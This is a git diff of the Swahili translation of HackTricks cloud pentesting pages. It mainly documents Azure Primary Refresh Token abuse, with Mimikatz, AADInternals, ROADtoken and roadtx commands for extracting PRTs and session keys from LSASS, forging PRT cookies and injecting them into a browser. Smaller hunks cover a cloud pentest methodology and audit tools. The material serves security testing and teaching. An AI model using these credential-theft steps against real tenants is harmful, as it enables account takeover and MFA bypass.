## PRT Cookie -Keki ya PRT kwa kweli inaitwa **`x-ms-RefreshTokenCredential`** na ni JSON Web Token (JWT). JWT ina **sehemu 3**, **header**, **payload** na **signature**, zilizogawanywa na `.` na zote zimekodishwa kwa url-safe base64. Keki ya kawaida ya PRT ina header na mwili ufuatao: +Keki ya PRT kwa kweli inaitwa **`x-ms-RefreshTokenCredential`** na ni JSON Web Token (JWT). JWT ina **sehemu 3**, **header**, **payload** na **signature**, zilizogawanywa na `.` na zote zimeandikwa kwa url-safe base64. Keki ya kawaida ya PRT ina header na mwili ufuatao: ```json { "alg": "HS256", @@ -34,33 +34,33 @@ Keki ya PRT kwa kweli inaitwa **`x-ms-RefreshTokenCredential`** na ni JSON Web T "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` -The actual **Primary Refresh Token (PRT)** is encapsulated within the **`refresh_token`**, which is encrypted by a key under the control of Azure AD, rendering its contents opaque and undecryptable to us. The field **`is_primary`** signifies the encapsulation of the primary refresh token within this token. To ensure that the cookie remains bound to the specific login session it was intended for, the `request_nonce` is transmitted from the `logon.microsoftonline.com` page. +**Primary Refresh Token (PRT)** halijumuishwa ndani ya **`refresh_token`**, ambayo imefungwa kwa ufunguo chini ya udhibiti wa Azure AD, ikifanya maudhui yake kuwa yasiyoonekana na yasiyoweza kufichuliwa kwetu. Sehemu ya **`is_primary`** inaashiria ufungaji wa tokeni ya msingi ya upya ndani ya tokeni hii. Ili kuhakikisha kwamba kuki inabaki imefungwa kwa kikao maalum cha kuingia ambacho ilikusudiwa, `request_nonce` inatumwa kutoka kwenye ukurasa wa `logon.microsoftonline.com`. -### PRT Cookie flow using TPM +### Mchakato wa Kuki ya PRT kwa kutumia TPM -The **LSASS** process will send to the TPM the **KDF context**, and the TPM will used **session key** (gathered when the device was registered in AzureAD and stored in the TPM) and the previous context to **derivate** a **key,** and this **derived key** is used to **sign the PRT cookie (JWT).** +Mchakato wa **LSASS** utatuma kwa TPM **KDF context**, na TPM itatumia **session key** (iliyokusanywa wakati kifaa kilisajiliwa katika AzureAD na kuhifadhiwa katika TPM) na muktadha wa awali ili **kuunda** **key,** na hii **key iliyoundwa** inatumika **kusaini kuki ya PRT (JWT).** -The **KDF context is** a nonce from AzureAD and the PRT creating a **JWT** mixed with a **context** (random bytes). +**KDF context ni** nonce kutoka AzureAD na PRT inayounda **JWT** iliyochanganywa na **muktadha** (bytes za nasibu). -Therefore, even if the PRT cannot be extracted because it's located inside the TPM, it's possible to abuseLSASS to **request derived keys from new contexts and use the generated keys to sign Cookies**. +Hivyo, hata kama PRT haiwezi kutolewa kwa sababu iko ndani ya TPM, inawezekana kutumia LSASS ku **omba funguo zilizoundwa kutoka kwa muktadha mpya na kutumia funguo zilizozalishwa kusaini Cookies**.
-## PRT Abuse Scenarios +## Mifano ya Unyanyasaji wa PRT -As a **regular user** it's possible to **request PRT usage** by asking LSASS for SSO data.\ -This can be done like **native apps** which request tokens from **Web Account Manager** (token broker). WAM pasess the request to **LSASS**, which asks for tokens using signed PRT assertion. Or it can be down with **browser based (web) flow**s where a **PRT cookie** is used as **header** to authenticate requests to Azure AS login pages. +Kama **mtumiaji wa kawaida** inawezekana **kuomba matumizi ya PRT** kwa kuomba LSASS kwa data ya SSO.\ +Hii inaweza kufanywa kama **programu za asili** ambazo zinaomba tokeni kutoka **Web Account Manager** (broker wa tokeni). WAM inapeleka ombi kwa **LSASS**, ambayo inaomba tokeni kwa kutumia uthibitisho wa PRT ulio saini. Au inaweza kufanywa kwa **mchakato wa kivinjari (web)** ambapo **kuki ya PRT** inatumika kama **kichwa** kuthibitisha maombi kwa kurasa za kuingia za Azure AS. -As **SYSTEM** you could **steal the PRT if not protected** by TPM or **interact with PRT keys in LSASS** using crypto APIs. +Kama **SYSTEM** unaweza **kuiiba PRT ikiwa haijalindwa** na TPM au **kuingiliana na funguo za PRT katika LSASS** kwa kutumia API za crypto. -## Pass-the-PRT Attack Examples +## Mifano ya Shambulio la Pass-the-PRT -### Attack - ROADtoken +### Shambulio - ROADtoken -For more info about this way [**check this post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken will run **`BrowserCore.exe`** from the right directory and use it to **obtain a PRT cookie**. This cookie can then be used with ROADtools to authenticate and **obtain a persistent refresh token**. +Kwa maelezo zaidi kuhusu njia hii [**angalia chapisho hili**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken itakimbia **`BrowserCore.exe`** kutoka kwenye saraka sahihi na kuitumia **kupata kuki ya PRT**. Kuki hii inaweza kisha kutumika na ROADtools kuthibitisha na **kupata tokeni ya upya ya kudumu**. -To generate a valid PRT cookie the first thing you need is a nonce.\ -You can get this with: +Ili kuunda kuki halali ya PRT jambo la kwanza unahitaji ni nonce.\ +Unaweza kupata hii kwa: ```powershell $TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" @@ -100,7 +100,7 @@ Connect-AzureAD --AadAccessToken --AccountId ### Shambulio - Kutumia AADInternals na PRT iliyovuja -`Get-AADIntUserPRTToken` **inapata tokeni ya PRT ya mtumiaji** kutoka kwa kompyuta iliyojiunga na Azure AD au Hybrid. Inatumia `BrowserCore.exe` kupata tokeni ya PRT. +`Get-AADIntUserPRTToken` **inapata tokeni ya PRT ya mtumiaji** kutoka kwa kompyuta iliyounganishwa na Azure AD au Hybrid. Inatumia `BrowserCore.exe` kupata tokeni ya PRT. ```powershell # Get the PRToken $prtToken = Get-AADIntUserPRTToken @@ -146,19 +146,19 @@ HttpOnly: Set to True (checked) Kisha nenda kwenye [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> Mengineyo yanapaswa kuwa ya chaguo-msingi. Hakikisha unaweza kuhuisha ukurasa na kuki haipotei, ikiwa inafanya hivyo, huenda umekosea na unahitaji kupitia mchakato tena. Ikiwa haipotei, unapaswa kuwa salama. +> Mengineyo yanapaswa kuwa ya kawaida. Hakikisha unaweza kuhuisha ukurasa na kuki haiondoki, ikiwa inafanya hivyo, huenda umekosea na unahitaji kupitia mchakato tena. Ikiwa haiondoki, unapaswa kuwa salama. -### Attack - Mimikatz +### Shambulio - Mimikatz -#### Steps +#### Hatua 1. **PRT (Primary Refresh Token) inachukuliwa kutoka LSASS** (Local Security Authority Subsystem Service) na kuhifadhiwa kwa matumizi ya baadaye. -2. **Key ya Kikao inachukuliwa ifuatayo**. Kwa kuwa funguo hii inatolewa mwanzoni kisha inarudishwa kwa usalama na kifaa cha ndani, inahitaji ufichuzi kwa kutumia DPAPI masterkey. Taarifa za kina kuhusu DPAPI (Data Protection API) zinaweza kupatikana katika rasilimali hizi: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) na kwa kuelewa matumizi yake, rejelea [Pass-the-cookie attack](az-pass-the-cookie.md). +2. **Key ya Kikao inachukuliwa ifuatayo**. Ikitolewa kwamba funguo hii inatolewa mwanzoni kisha inarudishwa kwa usalama na kifaa cha ndani, inahitaji ufichuzi kwa kutumia DPAPI masterkey. Taarifa za kina kuhusu DPAPI (Data Protection API) zinaweza kupatikana katika rasilimali hizi: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) na kwa kuelewa matumizi yake, rejea [Pass-the-cookie attack](az-pass-the-cookie.md). 3. Baada ya ufichuzi wa Key ya Kikao, **funguo iliyotokana na muktadha wa PRT inapatikana**. Hizi ni muhimu kwa **kuunda kuki ya PRT**. Kwa haswa, funguo iliyotokana inatumika kwa kusaini JWT (JSON Web Token) inayounda kuki. Maelezo ya kina kuhusu mchakato huu yameandikwa na Dirk-jan, yanapatikana [hapa](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). > [!CAUTION] > Kumbuka kwamba ikiwa PRT iko ndani ya TPM na sio ndani ya `lsass` **mimikatz haitakuwa na uwezo wa kuichukua**.\ -> Hata hivyo, itakuwa inawezekana **kupata funguo kutoka kwa funguo iliyotokana na muktadha** kutoka kwa TPM na kuitumia **kusaini kuki (angalia chaguo 3).** +> Hata hivyo, itakuwa inawezekana kupata **funguo kutoka kwa funguo iliyotokana na muktadha** kutoka kwa TPM na kuitumia **kusaini kuki (angalia chaguo 3).** Unaweza kupata **maelezo ya kina ya mchakato uliofanywa** ili kuchukua maelezo haya hapa: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) @@ -180,14 +180,14 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
**Nakili** sehemu iliyoandikwa **Prt** na uihifadhi.\ -Pia toa funguo ya kikao (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) ambayo unaweza kuona ikiwa imeangaziwa hapa chini. Hii imefichwa na tutahitaji kutumia funguo zetu za DPAPI kuzifungua. +Pia toa funguo ya kikao (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) ambayo unaweza kuona ikiwa imeangaziwa hapa chini. Hii imefungwa na tutahitaji kutumia DPAPI masterkeys zetu kuifungua.
> [!NOTE] -> Ikiwa huoni data yoyote ya PRT inaweza kuwa kwamba **huna PRT yoyote** kwa sababu kifaa chako hakijajiunga na Azure AD au inaweza kuwa un **atumia toleo la zamani** la Windows 10. +> Ikiwa huoni data yoyote ya PRT inaweza kuwa kwamba **huna PRT zozote** kwa sababu kifaa chako hakijajiunga na Azure AD au inaweza kuwa unatumia **toleo la zamani** la Windows 10. -Ili **kufungua** funguo ya kikao unahitaji **kuinua** mamlaka yako hadi **SYSTEM** ili kukimbia chini ya muktadha wa kompyuta ili uweze kutumia **funguo ya DPAPI kufungua**. Unaweza kutumia amri zifuatazo kufanya hivyo: +Ili **kuifungua** funguo ya kikao unahitaji **kuinua** mamlaka yako hadi **SYSTEM** ili uendeshe chini ya muktadha wa kompyuta ili uweze kutumia **DPAPI masterkey kuifungua**. Unaweza kutumia amri zifuatazo kufanya hivyo: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect @@ -196,7 +196,7 @@ dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect #### Chaguo 1 - Mimikatz Kamili -- Sasa unataka nakala ya thamani ya Muktadha: +- Sasa unataka kunakili thamani ya Muktadha:
@@ -210,7 +210,7 @@ Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT] ```
-- Nenda kwenye [https://login.microsoftonline.com](https://login.microsoftonline.com), safisha vidakuzi vyote kwa login.microsoftonline.com na uingize kidakuzi kipya. +- Tembelea [https://login.microsoftonline.com](https://login.microsoftonline.com), safisha vidakuzi vyote vya login.microsoftonline.com na ingiza kidakuzi kipya. ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] @@ -220,7 +220,7 @@ HttpOnly: Set to True (checked) - Kisha nenda kwenye [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> Mengineyo yanapaswa kuwa ya kawaida. Hakikisha unaweza kuhuisha ukurasa na kuki haipotei, ikiwa inafanya hivyo, huenda umekosea na unahitaji kupitia mchakato tena. Ikiwa haipotei, unapaswa kuwa salama. +> Mengineyo yanapaswa kuwa ya kawaida. Hakikisha unaweza kuhuisha ukurasa na kuki haipotei, ikiwa inatoweka, huenda umekosea na unahitaji kupitia mchakato tena. Ikiwa haipotei, unapaswa kuwa salama. #### Chaguo la 2 - roadrecon kutumia PRT @@ -228,16 +228,16 @@ HttpOnly: Set to True (checked) ```bash roadtx prt -a renew --prt --prt-sessionkey ``` -- Sasa tunaweza **kuomba tokeni** kwa kutumia kivinjari cha mwingiliano na `roadtx browserprtauth`. Ikiwa tutatumia amri `roadtx describe`, tunaona tokeni ya ufikiaji ina madai ya MFA kwa sababu PRT niliyotumia katika kesi hii pia ilikuwa na madai ya MFA. +- Sasa tunaweza **kuomba tokeni** kwa kutumia kivinjari cha mwingiliano na `roadtx browserprtauth`. Ikiwa tutatumia amri ya `roadtx describe`, tunaona kwamba tokeni ya ufikiaji inajumuisha madai ya MFA kwa sababu PRT niliyotumia katika kesi hii pia ilikuwa na madai ya MFA. ```bash roadtx browserprtauth roadtx describe < .roadtools_auth ```
-#### Chaguo la 3 - roadrecon kutumia funguo zilizotokana +#### Chaguo 3 - roadrecon kutumia funguo zilizotokana -Kuwa na muktadha na funguo zilizotokana zilizotolewa na mimikatz, inawezekana kutumia roadrecon kuunda cookie mpya iliyosainiwa na: +Kwa kuwa na muktadha na funguo zilizotokana zilizotolewa na mimikatz, inawezekana kutumia roadrecon kuunda cookie mpya iliyosainiwa na: ```bash roadrecon auth --prt-cookie --prt-context --derives-key ``` diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 4b3904649..5136832e2 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,6 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -Ili kuanza majaribio unapaswa kuwa na ufikiaji na mtumiaji mwenye **idhini za Msomaji juu ya usajili** na **nafasi ya Msomaji wa Kimataifa katika AzureAD**. Ikiwa hata katika hali hiyo huwezi **kufikia maudhui ya Akaunti za Hifadhi** unaweza kurekebisha hilo kwa **nafasi ya Mchangiaji wa Akaunti ya Hifadhi**. +Ili kuanza majaribio, unapaswa kuwa na ufikiaji na mtumiaji mwenye **Ruhusa za Kusoma juu ya usajili** na **Jukumu la Global Reader katika AzureAD**. Ikiwa hata katika hali hiyo huwezi **kufikia maudhui ya Akaunti za Hifadhi**, unaweza kurekebisha hilo kwa kutumia **jukumu la Mchangiaji wa Akaunti ya Hifadhi**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 3ee481b60..8c88d5566 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -8,33 +8,33 @@ Kila wingu lina tabia zake za kipekee lakini kwa ujumla kuna mambo machache **ya kawaida ambayo pentester anapaswa kuangalia** wakati wa kujaribu mazingira ya wingu: -- **Benchmark checks** +- **Ukaguzi wa Benchmark** - Hii itakusaidia **kuelewa ukubwa** wa mazingira na **huduma zinazotumika** -- Itakuruhusu pia kupata **makosa ya haraka** kwani unaweza kufanya sehemu kubwa ya majaribio haya kwa kutumia **zana za kiotomatiki** -- **Services Enumeration** +- Itakuruhusu pia kupata **makosa ya haraka** kwani unaweza kufanya majaribio haya kwa kutumia **zana za kiotomatiki** +- **Uhesabuji wa Huduma** - Huenda usipate makosa mengi zaidi hapa ikiwa umefanya majaribio ya benchmark kwa usahihi, lakini unaweza kupata baadhi ambayo hayakuangaliwa katika majaribio ya benchmark. - Hii itakuruhusu kujua **nini hasa kinatumika** katika mazingira ya wingu - Hii itasaidia sana katika hatua zinazofuata -- **Check exposed assets** +- **Angalia mali zilizo wazi** - Hii inaweza kufanywa wakati wa sehemu ya awali, unahitaji **kugundua kila kitu ambacho kinaweza kuwa wazi** kwa Mtandao kwa namna fulani na jinsi kinavyoweza kufikiwa. -- Hapa ninachukua **miundombinu iliyofichuliwa kwa mikono** kama vile mifano yenye kurasa za wavuti au port nyingine zinazofichuliwa, na pia kuhusu **huduma za wingu zinazodhibitiwa ambazo zinaweza kuwekwa** wazi (kama vile DBs au buckets) +- Hapa ninachukua **miundombinu iliyofichuliwa kwa mikono** kama vile mifano yenye kurasa za wavuti au port nyingine zinazofichuliwa, na pia kuhusu **huduma za wingu zinazodhibitiwa ambazo zinaweza kuwekwa** wazi (kama vile DBs au ndoo) - Kisha unapaswa kuangalia **kama rasilimali hiyo inaweza kufichuliwa au la** (habari za siri? udhaifu? makosa katika huduma iliyofichuliwa?) -- **Check permissions** +- **Angalia ruhusa** - Hapa unapaswa **kugundua ruhusa zote za kila jukumu/katumizi** ndani ya wingu na jinsi zinavyotumika -- Akaunti nyingi **zenye mamlaka makubwa** (udhibiti kila kitu)? Funguo zilizozalishwa hazitumiki?... Sehemu kubwa ya ukaguzi huu inapaswa kuwa imefanywa katika majaribio ya benchmark tayari -- Ikiwa mteja anatumia OpenID au SAML au **federation** nyingine unaweza kuhitaji kuwauliza kwa maelezo zaidi kuhusu **jinsi kila jukumu linavyotolewa** (sio sawa kwamba jukumu la admin linatolewa kwa mtumiaji 1 au kwa 100) -- **Sio vya kutosha kugundua** ni watumiaji gani wana **mamlaka ya admin** "\*:\*". Kuna ruhusa nyingi **zingine** ambazo kulingana na huduma zinazotumika zinaweza kuwa **nyeti** sana. -- Zaidi ya hayo, kuna njia za **potential privesc** za kufuata kwa kutumia ruhusa. Mambo haya yote yanapaswa kuzingatiwa na **njia nyingi za privesc kadri iwezekanavyo** zinapaswa kuripotiwa. -- **Check Integrations** -- Ni uwezekano mkubwa kwamba **mashirikiano na mawingu mengine au SaaS** yanatumika ndani ya mazingira ya wingu. -- Kwa **mashirikiano ya wingu unayoangalia** na jukwaa lingine unapaswa kutangaza **nani ana ufaccess (kuutumia) huo ushirikiano** na unapaswa kuuliza **ni kiasi gani** kitendo kinachofanywa ni nyeti.\ -Kwa mfano, nani anaweza kuandika katika bucket ya AWS ambapo GCP inapata data (uliza ni kiasi gani kitendo hicho ni nyeti katika GCP kinachoshughulikia data hiyo). -- Kwa **mashirikiano ndani ya wingu unayoangalia** kutoka kwa majukwaa ya nje, unapaswa kuuliza **nani ana ufaccess nje (kuutumia) huo ushirikiano** na kuangalia jinsi data hiyo inavyotumika.\ -Kwa mfano, ikiwa huduma inatumia picha ya Docker iliyohifadhiwa katika GCR, unapaswa kuuliza nani ana ufaccess wa kuibadilisha na ni taarifa zipi nyeti na ufaccess zitakazopatikana kwa picha hiyo itakapotekelezwa ndani ya wingu la AWS. +- Akaunti nyingi **zenye mamlaka makubwa** (kudhibiti kila kitu)? Funguo zilizozalishwa hazitumiki?... Mengi ya ukaguzi haya yanapaswa kuwa yamefanywa katika majaribio ya benchmark tayari +- Ikiwa mteja anatumia OpenID au SAML au **shirikisho** lingine unaweza kuhitaji kuwauliza kwa maelezo zaidi kuhusu **jinsi kila jukumu linavyotolewa** (sio sawa kwamba jukumu la admin linatolewa kwa mtumiaji 1 au 100) +- **Sio vya kutosha kugundua** ni watumiaji gani wana **ruhusa za admin** "\*:\*". Kuna ruhusa nyingi **zingine** ambazo kulingana na huduma zinazotumika zinaweza kuwa **nyeti** sana. +- Zaidi ya hayo, kuna njia za **privesc** zinazoweza kufuatwa kwa kutumia ruhusa. Mambo haya yote yanapaswa kuzingatiwa na **njia nyingi za privesc kadri iwezekanavyo** zinapaswa kuripotiwa. +- **Angalia Mshikamano** +- Ni uwezekano mkubwa kwamba **mshikamano na mawingu mengine au SaaS** yanatumika ndani ya mazingira ya wingu. +- Kwa **mshikamano wa wingu unayoangalia** na jukwaa lingine unapaswa kutangaza **nani ana ufaccess (kuutumia) mshikamano huo** na unapaswa kuuliza **ni kiasi gani** kitendo kinachofanywa ni nyeti.\ +Kwa mfano, nani anaweza kuandika katika ndoo ya AWS ambapo GCP inapata data (uliza ni kiasi gani kitendo hicho ni nyeti katika GCP kinachoshughulikia data hiyo). +- Kwa **mshikamano ndani ya wingu unayoangalia** kutoka kwa majukwaa ya nje, unapaswa kuuliza **nani ana ufaccess kwa nje (kuutumia) mshikamano huo** na kuangalia jinsi data hiyo inavyotumika.\ +Kwa mfano, ikiwa huduma inatumia picha ya Docker iliyohifadhiwa katika GCR, unapaswa kuuliza nani ana ufaccess wa kuibadilisha na ni taarifa zipi nyeti na ufaccess zitakazopatikana na picha hiyo itakapotekelezwa ndani ya wingu la AWS. ## Multi-Cloud tools -Kuna zana kadhaa ambazo zinaweza kutumika kujaribu mazingira tofauti ya wingu. Hatua za usakinishaji na viungo vitatolewa katika sehemu hii. +Kuna zana kadhaa ambazo zinaweza kutumika kujaribu mazingira tofauti ya wingu. Hatua za usakinishaji na viungo vitatajwa katika sehemu hii. ### [PurplePanda](https://github.com/carlospolop/purplepanda) @@ -91,7 +91,7 @@ prowler --list-services AWS, Azure, Github, Google, Oracle, Alibaba {{#tabs }} -{{#tab name="Sakinisha" }} +{{#tab name="Install" }} ```bash # Install git clone https://github.com/aquasecurity/cloudsploit.git @@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` -To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) +Ili kuangalia msimbo wa Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +Viongezeo zaidi vya AWS vya Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean.\ -Inahitaji python2.7 na inaonekana haijatunzwa. +Inahitaji python2.7 na inaonekana haina matengenezo. ### Nessus -Nessus ina _**Ukaguzi wa Miundombinu ya Wingu**_ skana inayounga mkono: AWS, Azure, Office 365, Rackspace, Salesforce. Mipangilio ya ziada katika **Azure** inahitajika kupata **Client Id**. +Nessus ina _**Ukaguzi wa Miundombinu ya Wingu**_ inayounga mkono: AWS, Azure, Office 365, Rackspace, Salesforce. Mipangilio ya ziada katika **Azure** inahitajika ili kupata **Kitambulisho cha Mteja**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist ni **chombo cha wingu nyingi kwa kupata Mali** (Majina ya mwenyeji, Anwani za IP) kutoka kwa Watoa Huduma za Wingu. +Cloudlist ni **chombo cha wingu nyingi kwa kupata Mali** (Majina ya Kikoa, Anwani za IP) kutoka kwa Watoa Huduma za Wingu. {{#tabs }} {{#tab name="Cloudlist" }} @@ -377,7 +377,7 @@ Chombo cha kutafuta miundombinu ya kampuni (lengo), faili, na programu kwenye wa ### [CloudFox](https://github.com/BishopFox/cloudfox) - CloudFox ni chombo cha kutafuta njia za shambulio zinazoweza kutumika katika miundombinu ya wingu (kwa sasa inasaidia tu AWS & Azure na GCP inakuja). -- Ni chombo cha kuhesabu ambacho kinakusudia kukamilisha pentesting ya mkono. +- Ni chombo cha kuhesabu ambacho kinakusudia kuimarisha pentesting ya mikono. - Hakiundui au kubadilisha data yoyote ndani ya mazingira ya wingu. ### Orodha zaidi za zana za usalama wa wingu @@ -412,7 +412,7 @@ azure-security/ ### Mchoro wa Shambulio -[**Stormspotter** ](https://github.com/Azure/Stormspotter)inaunda "mchoro wa shambulio" wa rasilimali katika usajili wa Azure. Inawawezesha timu za red na wapentester kuona uso wa shambulio na fursa za kuhamasisha ndani ya mpangilio, na inawapa walinzi wako nguvu za haraka kujiandaa na kuweka kipaumbele kazi za majibu ya tukio. +[**Stormspotter** ](https://github.com/Azure/Stormspotter)inaunda “mchoro wa shambulio” wa rasilimali katika usajili wa Azure. Inawawezesha timu za red na wapimaji wa pentesting kuona uso wa shambulio na fursa za kuhamasisha ndani ya mpangilio, na inawapa nguvu walinzi wako kuweza kujiandaa haraka na kuweka kipaumbele katika kazi za majibu ya tukio. ### Office365